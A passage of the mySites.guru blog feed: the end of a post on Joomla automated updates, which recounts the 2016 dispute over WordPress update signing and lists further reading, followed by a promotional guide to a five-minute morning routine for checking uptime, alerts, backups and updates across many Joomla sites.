&lt;p&gt;WordPress went a different direction on the security side, too. In 2016, Scott Arciszewski of Paragon Initiative Enterprises &lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;publicly disclosed&lt;/a&gt; that WordPress&apos;s auto-update mechanism had no cryptographic signature verification - updates were checked with an MD5 hash provided by the same server serving the file, making &lt;code&gt;api.wordpress.org&lt;/code&gt; a single point of failure for roughly a quarter of all websites on the internet. His words: &quot;If you manage to hack their infrastructure, you can push a false update to millions of WordPress blogs and get reliable remote code execution everywhere.&quot; He built &lt;code&gt;sodium_compat&lt;/code&gt; (a PHP polyfill for Ed25519 signing) and submitted patches to &lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;ticket #39309&lt;/a&gt;, but Matt Mullenweg told core developer Dion Hulse to stop working on it because it wasn&apos;t among WordPress&apos;s 2017 priorities - the Editor, Customizer, and REST API were. Mullenweg called it &quot;a good idea&quot; but &quot;not a priority,&quot; ranking it below weak passwords and users not updating their plugins. It took until WordPress 5.2 in May 2019 - three years after the disclosure - for Ed25519 signature verification to ship. And even then, WordPress rolled its own signing system rather than adopting TUF. Joomla, whatever your opinion of its auto-update implementation, at least built on an established, peer-reviewed security framework from day one.&lt;/p&gt;
&lt;p&gt;mySites.guru gives you the same control for both platforms. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop WordPress automatic updates&lt;/a&gt; with a single toggle, or take the middle path and &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so security patches keep flowing while major version jumps are blocked. And now you can do the same for Joomla&apos;s automated core updates. Same dashboard, same workflow, both CMS platforms covered.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Security issues reported&lt;/p&gt;
  &lt;p&gt;On 11 March 2026, while researching this article, two security issues with Joomla&apos;s automated update mechanism were identified and reported to the Joomla Security Strike Team by Phil Taylor.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;WordPress (all versions): SPOF, RCE, and Negligence&lt;/a&gt; - Scott Arciszewski&apos;s 2016 disclosure on oss-sec about WordPress&apos;s lack of cryptographic signature verification in auto-updates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;WordPress Trac #39309: Secure WordPress against infrastructure attacks&lt;/a&gt; - The ticket where Paragon Initiative&apos;s patches for Ed25519 update signing were submitted, stalled, and eventually implemented in WordPress 5.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wptavern.com/matt-mullenweg-responds-to-security-rant-digital-signatures-for-wordpress-updates-are-important-but-not-a-priority&quot;&gt;Matt Mullenweg responds: digital signatures are important but not a priority&lt;/a&gt; - WP Tavern&apos;s coverage of the dispute between Arciszewski and Mullenweg over update signing priorities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;Drupal Automatic Updates initiative&lt;/a&gt; - Drupal&apos;s own auto-update project, with an honest acknowledgment that it&apos;s not intended for enterprise organizations with existing build pipelines.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;Automatic updates for Joomla! are a bad idea&lt;/a&gt; - Brian Teeman (Joomla co-founder) on why automatic updates are risky for professionally managed sites, written in 2014 but still relevant.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Automatic core updates in Joomla&lt;/a&gt; - David Jardin&apos;s official write-up in the Joomla Community Magazine on the architecture, TUF integration, and rationale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlers.uk/joomla-security/update-joomla-cms/automatic-core-joomla-updates&quot;&gt;Automatic Core Joomla Updates&lt;/a&gt; - Practical guide from Joomlers.uk with enable/disable steps and an agency perspective.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomill.com/knowledge-base/joomla/automatic-joomla-updates&quot;&gt;Automatic Joomla updates (Joomla 5.4+)&lt;/a&gt; - Joomill&apos;s breakdown of configuration options and risk mitigation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/automated-testing-is-essential-for-joomla-cms-updates&quot;&gt;Automated testing is essential for Joomla CMS updates&lt;/a&gt; - Digital Peak on why automated updates need automated testing infrastructure to be safe at scale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework (TUF)&lt;/a&gt; - The official TUF project site: full specification, security model, and adopter list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Tamper-proof core updates for Joomla - TUF making it into 5.1&lt;/a&gt; - How TUF was integrated into Joomla&apos;s update system and what it protects against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf/php-tuf&lt;/a&gt; - The PHP implementation of TUF used by Joomla, Drupal, and TYPO3 for cryptographic update verification.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; - Joomla&apos;s signed TUF bootstrap repository with the cryptographic metadata that every Joomla 5.1+ site validates against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Joomla Automated-Updates-Server&lt;/a&gt; - The open-source Laravel app that orchestrates Joomla&apos;s pull-based automated update cycle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - How to enable or disable automatic updates for individual Joomla extensions across all your connected sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Auto-update controls are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>automated upgrades</category><category>joomla 6</category><category>site management</category><enclosure url="https://mysites.guru/_astro/how-to-disable-joomla-automated-upgrades.CYa3syOX.png" length="0" type="image/png"/></item><item><title>Build a Morning Routine for Checking All Your Joomla Sites in 5 Minutes</title><link>https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</guid><description>A practical morning workflow for agency owners to check uptime, backups, updates, and alerts across hundreds of Joomla sites in under 5 minutes.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running an agency means juggling dozens (sometimes hundreds) of client sites. Joomla updates land, SSL certificates creep toward expiry, hosting providers have outages at 3am, and somebody always manages to get hacked over the weekend.&lt;/p&gt;
&lt;p&gt;You could spend your morning logging into each site individually, checking admin panels, refreshing hosting dashboards, and scrolling through email threads. Or you could do the whole thing in 5 minutes from a &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;single dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This post walks through a practical morning routine built around mySites.guru. It&apos;s written for Joomla agencies, but every step applies equally to WordPress and generic PHP sites. The platform handles all three with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature parity&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why Do You Need a Morning Routine at All?&lt;/h2&gt;
&lt;p&gt;&quot;My sites are fine, I would know if something went wrong.&quot;&lt;/p&gt;
&lt;p&gt;That&apos;s the line every agency owner says right before a client calls to tell them their site has been down since Tuesday.&lt;/p&gt;
&lt;p&gt;Most site problems are silent. A failed backup doesn&apos;t announce itself. An expired SSL certificate shows a scary browser warning to your client&apos;s customers, but your client might not notice for days. A Joomla core update has been sitting in the queue for two weeks and the vulnerability it patches is being actively exploited.&lt;/p&gt;
&lt;p&gt;A structured morning check catches these problems early, before your client notices and before a small issue turns into an emergency.&lt;/p&gt;
&lt;p&gt;The routine below covers five areas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dashboard overview&lt;/strong&gt;: the 30-second scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alerts and important items&lt;/strong&gt;: what broke overnight&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uptime status&lt;/strong&gt;: which sites are actually responding&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup verification&lt;/strong&gt;: confirming your safety net exists&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update queue&lt;/strong&gt;: getting ahead of security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each step takes about a minute. The whole routine takes under five.&lt;/p&gt;
&lt;h2&gt;What Do You Need Before You Start?&lt;/h2&gt;
&lt;h3&gt;Step 0: Coffee. Always coffee.&lt;/h3&gt;
&lt;p&gt;Nothing good happens before coffee. Make it strong, make it hot, and bring it to your desk. The rest of this routine assumes caffeine is flowing. Phil gets his beans from &lt;a href=&quot;https://cooper.co.je/&quot;&gt;Cooper &amp;amp; Co&lt;/a&gt; in Jersey and grinds at home (not a sponsored link, just great coffee).&lt;/p&gt;
&lt;h3&gt;The tools you need&lt;/h3&gt;
&lt;p&gt;If you&apos;re already using mySites.guru, skip ahead to Step 1. If not, here&apos;s what the routine assumes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your Joomla sites are connected to mySites.guru via the connector plugin. You can &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add unlimited sites&lt;/a&gt; to your account - see the full guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; for setup details.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt; is enabled for every site. The left sidebar shows a count of sites without a monitor, so you can spot any gaps.&lt;/li&gt;
&lt;li&gt;Backup schedules are configured. mySites.guru integrates with &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup for Joomla&lt;/a&gt; (free or professional) and All-in-One Migration for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; are turned on for events you care about: admin logins, configuration file changes, and SSL expiration warnings.&lt;/li&gt;
&lt;li&gt;You have organised your sites with tags (the &quot;Site Group Tags&quot; feature) so you can filter by client, server, or priority level.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of this is one-time setup. Once it&apos;s done, the morning routine is pure review.&lt;/p&gt;
&lt;h2&gt;Step 1: The 30-second dashboard scan&lt;/h2&gt;
&lt;p&gt;Log into your mySites.guru account. The first thing you see is the &lt;strong&gt;Your Sites&lt;/strong&gt; page, a list of every connected site with status indicators.&lt;/p&gt;
&lt;p&gt;But before you look at the list, look at the &lt;strong&gt;left sidebar&lt;/strong&gt;. This is where mySites.guru does the heavy lifting for you.&lt;/p&gt;
&lt;h3&gt;The Important Items section&lt;/h3&gt;
&lt;p&gt;The sidebar contains a section called &lt;strong&gt;Important Items&lt;/strong&gt; with live counters. These update automatically as snapshots run throughout the day. On a good morning, this section is empty. On a bad morning, you&apos;ll see entries like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hacked Sites&lt;/strong&gt;: sites where the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; has detected malicious code. This is the red flag. If you see this counter at any number above zero, deal with it first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites Not Connected&lt;/strong&gt;: the mySites.guru connector plugin could not reach these sites. Could be a hosting outage, a DNS problem, or the plugin was accidentally removed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Core Update Needed&lt;/strong&gt;: sites running an outdated version of Joomla (or WordPress). Click through to see exactly which versions are available.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invalid SSL Cert Install&lt;/strong&gt;: sites where the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate&lt;/a&gt; has expired, has a chain problem, or is misconfigured.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Uptime Monitor&lt;/strong&gt;: sites that are not being actively monitored for downtime. These are blind spots in your coverage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Backup Schedule&lt;/strong&gt;: sites without an automated &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt;. If something goes wrong on one of these sites, there&apos;s no safety net.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Tip: Make the sidebar your first glance&lt;/p&gt;
  &lt;p&gt;If every counter in the Important Items section is zero, your morning is off to a great start. If any counter is above zero, click it to go directly to the affected sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Filtering by platform&lt;/h3&gt;
&lt;p&gt;Below the total site count, the sidebar breaks your sites down by platform: Joomla, WordPress, and generic PHP. If you are primarily a Joomla agency, clicking &quot;Your Joomla Sites&quot; filters the main list to show only Joomla sites. Useful when you want to focus your morning check on one platform at a time.&lt;/p&gt;
&lt;h3&gt;Using tags for priority&lt;/h3&gt;
&lt;p&gt;If you have set up Site Group Tags, they appear in the sidebar too. Many agencies create tags like &quot;Priority Clients&quot;, &quot;Managed Hosting&quot;, or &quot;Monthly Retainer&quot; so they can check their most important sites first. Click a tag to filter the site list instantly.&lt;/p&gt;
&lt;p&gt;This entire sidebar scan takes 30 seconds. You now know whether anything is on fire.&lt;/p&gt;
&lt;h2&gt;Step 2: Review overnight alerts&lt;/h2&gt;
&lt;p&gt;Before you dig into individual sites, check your email for mySites.guru alerts that arrived overnight.&lt;/p&gt;
&lt;p&gt;mySites.guru sends &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; based on triggers you configure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Admin login alerts&lt;/strong&gt;: someone logged into a Joomla or WordPress admin panel. If it happened at 3am and it wasn&apos;t you or your team, that&apos;s worth investigating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File change alerts&lt;/strong&gt;: a monitored file (like &lt;code&gt;configuration.php&lt;/code&gt; on Joomla or &lt;code&gt;wp-config.php&lt;/code&gt; on WordPress) was modified. This is &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;near real-time detection&lt;/a&gt;, with the check running on every page load.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration change alerts&lt;/strong&gt;: someone saved Global Configuration on a Joomla site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL expiration warnings&lt;/strong&gt;: a certificate is approaching its &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expiration date&lt;/a&gt; within your configured grace period.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uptime alerts&lt;/strong&gt;: a site failed to respond to three consecutive checks from multiple global locations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Triage the alerts&lt;/h3&gt;
&lt;p&gt;Not every alert needs action. An admin login at 9am from your developer&apos;s IP is expected. An admin login at 2am from an unfamiliar IP is not.&lt;/p&gt;
&lt;p&gt;For file change alerts, mySites.guru uses MD5 hash comparison on every page load. If a monitored file&apos;s hash changes, you get notified immediately. Legitimate changes (like saving configuration after a Joomla update) trigger alerts too, and that&apos;s intentional. You can &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;whitelist your own IP addresses&lt;/a&gt; to reduce noise from your own work.&lt;/p&gt;
&lt;h3&gt;Team alerts&lt;/h3&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; on your account, each person can configure their own alert preferences per site. This means your on-call person gets the overnight alerts while everyone else reviews them during business hours.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Pro tip: Create an email filter&lt;/p&gt;
  &lt;p&gt;Set up a Gmail or Outlook filter that labels mySites.guru alert emails and sorts them into a dedicated folder. Your morning check becomes: open the folder, scan the subjects, act on anything unexpected.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Step 3: Check uptime status&lt;/h2&gt;
&lt;p&gt;Click through to the uptime monitoring overview in your mySites.guru account. This screen shows every connected site with its current status: up or down.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built-in uptime engine&lt;/a&gt; checks your sites every minute. If the initial HEAD request fails, it retries with a GET request, then tries again from a different global location. Only after all three attempts fail does it send a downtime alert.&lt;/p&gt;
&lt;h3&gt;What to look for&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Currently down sites&lt;/strong&gt;: obvious, but these need immediate attention. If a site is down right now, your client&apos;s visitors are seeing an error page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Response time trends&lt;/strong&gt;: mySites.guru shows the last 24 hours of response times for each site. A site that is technically &quot;up&quot; but responding in 8 seconds has a performance problem that needs investigating. Use this to spot hosting issues before they become outages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeated short outages&lt;/strong&gt;: some hosting environments have brief hiccups that resolve themselves. If you see a pattern of short downtimes on the same site, it usually points to resource limits, cron job conflicts, or a server under strain.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sites without monitors&lt;/h3&gt;
&lt;p&gt;Remember that &quot;No Uptime Monitor&quot; counter from the sidebar? If it&apos;s above zero, add monitors to those sites now. It takes seconds. mySites.guru &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;monitors every connected site at no extra cost&lt;/a&gt;, so there&apos;s no reason to leave gaps.&lt;/p&gt;
&lt;h2&gt;Step 4: Verify backup status&lt;/h2&gt;
&lt;p&gt;Navigate to the &lt;strong&gt;Scheduled Backups&lt;/strong&gt; page. This is where you confirm that your automated backups are actually running.&lt;/p&gt;
&lt;h3&gt;The backup schedule overview&lt;/h3&gt;
&lt;p&gt;The Scheduled Backups page lists every site with a configured backup schedule, showing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the last backup completed&lt;/li&gt;
&lt;li&gt;Whether the backup succeeded or failed&lt;/li&gt;
&lt;li&gt;Which backup profile was used&lt;/li&gt;
&lt;li&gt;When the next scheduled backup is due&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites are sorted so the ones that need attention appear first: failed backups, missed schedules, and sites that have not been backed up recently.&lt;/p&gt;
&lt;h3&gt;Common backup issues&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Failed backups&lt;/strong&gt; usually mean the backup process timed out, the hosting server ran out of memory, or the &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; profile needs adjustment. Click into the failed backup for error details.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Missing schedules&lt;/strong&gt; were already flagged by the sidebar&apos;s &quot;No Backup Schedule&quot; counter. Sites without a schedule are not being backed up automatically. Fix this by setting a default backup profile on the site&apos;s Settings tab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stale backups&lt;/strong&gt; happen when a schedule is configured but the last backup was weeks ago. This can occur if the Akeeba Backup component was updated and the profile needs reconfiguration.&lt;/p&gt;
&lt;h3&gt;The one-click backup option&lt;/h3&gt;
&lt;p&gt;If you see a site that needs an immediate backup, maybe because you&apos;re about to push an update and want a fresh restore point, you can trigger a backup directly from this page. The backup runs in the background on the mySites.guru server queue; you don&apos;t need to keep your browser open.&lt;/p&gt;
&lt;p&gt;For bulk operations, the &lt;strong&gt;&quot;Start Backup Of All Sites Visible Below&quot;&lt;/strong&gt; button queues backups for every site on the page. Filter the list first (by tag, platform, or search) to target specific groups.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Remember: an untested backup is worthless&lt;/p&gt;
  &lt;p&gt;Periodically restore a backup to a staging environment and verify it works. Knowing your backups exist is not the same as knowing they will work when you need them.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Step 5: Review the update queue&lt;/h2&gt;
&lt;p&gt;Last step. Open the update queue to see which Joomla core versions and extensions have updates available.&lt;/p&gt;
&lt;h3&gt;Core updates&lt;/h3&gt;
&lt;p&gt;The sidebar&apos;s &quot;Core Update Needed&quot; counter already told you how many sites are behind. Click through to see the specific versions. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrades&lt;/a&gt;, so you can select individual sites or all of them and queue the upgrades in one operation.&lt;/p&gt;
&lt;p&gt;The process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Backup first.&lt;/strong&gt; Always take a fresh backup before upgrading. Use the bulk backup button from Step 4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Queue the upgrades.&lt;/strong&gt; Select the sites, click upgrade, and the queue processes them in the background. You&apos;ll hear a success sound for each completed upgrade if you keep the tab open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify after.&lt;/strong&gt; Trigger a fresh &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on the upgraded sites to confirm everything is healthy.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Extension and plugin updates&lt;/h3&gt;
&lt;p&gt;Beyond core updates, mySites.guru tracks every extension and plugin installed on your Joomla sites. The snapshot collects this information automatically, and if an update is available, it appears in the update queue.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable automatic updates&lt;/a&gt; for specific extensions on a per-site or per-extension basis. When the next snapshot runs and detects an available update for an auto-update-enabled extension, mySites.guru applies it and notifies you of the result.&lt;/p&gt;
&lt;p&gt;For extensions you prefer to update manually (maybe you want to test them on a staging site first, or the extension has a history of breaking changes), leave auto-update off and review them during this morning check.&lt;/p&gt;
&lt;h3&gt;Prioritise security updates&lt;/h3&gt;
&lt;p&gt;Not all updates are equal. A Joomla security patch that fixes an actively exploited vulnerability should be applied the same morning you see it. A minor version bump for a gallery plugin can wait until your next maintenance window.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; flags known security issues in extensions, helping you tell the difference between &quot;update at your convenience&quot; and &quot;update right now.&quot;&lt;/p&gt;
&lt;h2&gt;The complete routine at a glance&lt;/h2&gt;
&lt;p&gt;The full routine as a daily checklist:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;0:00 – 0:30 | Dashboard scan&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log in and check the Important Items sidebar counters&lt;/li&gt;
&lt;li&gt;If any counter is above zero, click through to the affected sites&lt;/li&gt;
&lt;li&gt;Filter by platform or tag if needed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;0:30 – 1:30 | Alert review&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scan overnight alert emails for unexpected admin logins, file changes, or downtime&lt;/li&gt;
&lt;li&gt;Triage: expected activity vs. suspicious activity&lt;/li&gt;
&lt;li&gt;Investigate anything unusual&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1:30 – 2:30 | Uptime check&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Review the uptime monitoring overview&lt;/li&gt;
&lt;li&gt;Check for currently down sites&lt;/li&gt;
&lt;li&gt;Look at response time trends for performance issues&lt;/li&gt;
&lt;li&gt;Add monitors to any unmonitored sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2:30 – 3:30 | Backup verification&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open the Scheduled Backups page&lt;/li&gt;
&lt;li&gt;Check for failed or stale backups&lt;/li&gt;
&lt;li&gt;Trigger manual backups if needed&lt;/li&gt;
&lt;li&gt;Ensure every site has a backup schedule&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3:30 – 5:00 | Update queue&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Review pending core updates&lt;/li&gt;
&lt;li&gt;Back up affected sites, then queue the upgrades&lt;/li&gt;
&lt;li&gt;Check extension updates and apply or schedule them&lt;/li&gt;
&lt;li&gt;Prioritise security patches&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s the whole routine. Five areas, five minutes, every site covered.&lt;/p&gt;
&lt;h2&gt;Does This Routine Scale from 10 Sites to 500?&lt;/h2&gt;
&lt;p&gt;The routine above works whether you manage 10 sites or 500. Here&apos;s why.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The sidebar counters don&apos;t change with scale.&lt;/strong&gt; Whether you have 10 sites or 500, the Important Items section gives you the same quick summary. Zero hacked sites is zero hacked sites, regardless of the denominator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snapshots run automatically.&lt;/strong&gt; mySites.guru snapshots every connected site twice a day without any manual intervention. You&apos;re reviewing results, not running checks. The per-site overhead of your morning routine is effectively zero.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bulk operations are built in.&lt;/strong&gt; Mass upgrades, bulk backups, and the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (Cmd+K / Ctrl+K) mean you&apos;re never clicking through hundreds of individual sites. Type a few characters, hit enter, and you&apos;re on the right page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags keep things manageable.&lt;/strong&gt; For large portfolios, Site Group Tags let you break the morning check into segments. Check your &quot;Priority&quot; tag first, then &quot;Managed Clients&quot;, then &quot;Legacy Sites.&quot; Each segment uses the same five steps; you&apos;re just working through filtered views.&lt;/p&gt;
&lt;h3&gt;The command palette shortcut&lt;/h3&gt;
&lt;p&gt;If you want to skip the sidebar entirely and jump straight to a specific site or tool, press &lt;strong&gt;Cmd+K&lt;/strong&gt; (Mac) or &lt;strong&gt;Ctrl+K&lt;/strong&gt; (Windows) from anywhere in the dashboard. The &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; searches across all your sites, all tools, and all account functions. Type &quot;backups&quot; and you&apos;re on the backup page. Type a domain name and you&apos;re on that site&apos;s management page. It&apos;s faster than clicking through menus.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Keyboard shortcuts go further&lt;/p&gt;
  &lt;p&gt;Press the question mark key (?) anywhere in mySites.guru to reveal a full keyboard shortcuts page. Shortcuts include mass updates (m u), mass installs (m i), toggling dark mode (d), and logging out (Shift+L).&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;Everything in this routine applies to WordPress sites too. mySites.guru manages Joomla, WordPress, and generic PHP sites with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;identical features across all three platforms&lt;/a&gt;. The sidebar counters include all platforms. The backup scheduler works with Akeeba Backup for WordPress and All-in-One Migration. The uptime engine checks every connected site regardless of platform.&lt;/p&gt;
&lt;p&gt;If you run a mixed agency with both Joomla and WordPress clients, you don&apos;t need separate tools or separate routines. One login, one dashboard, one morning check.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough of the WordPress-specific workflows, see the &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;guide to managing multiple WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How Can You Automate Beyond the Morning Check?&lt;/h2&gt;
&lt;p&gt;The morning routine is for your awareness. But much of the work can be automated so that problems are caught and resolved before you even log in.&lt;/p&gt;
&lt;h3&gt;Scheduled snapshots and audits&lt;/h3&gt;
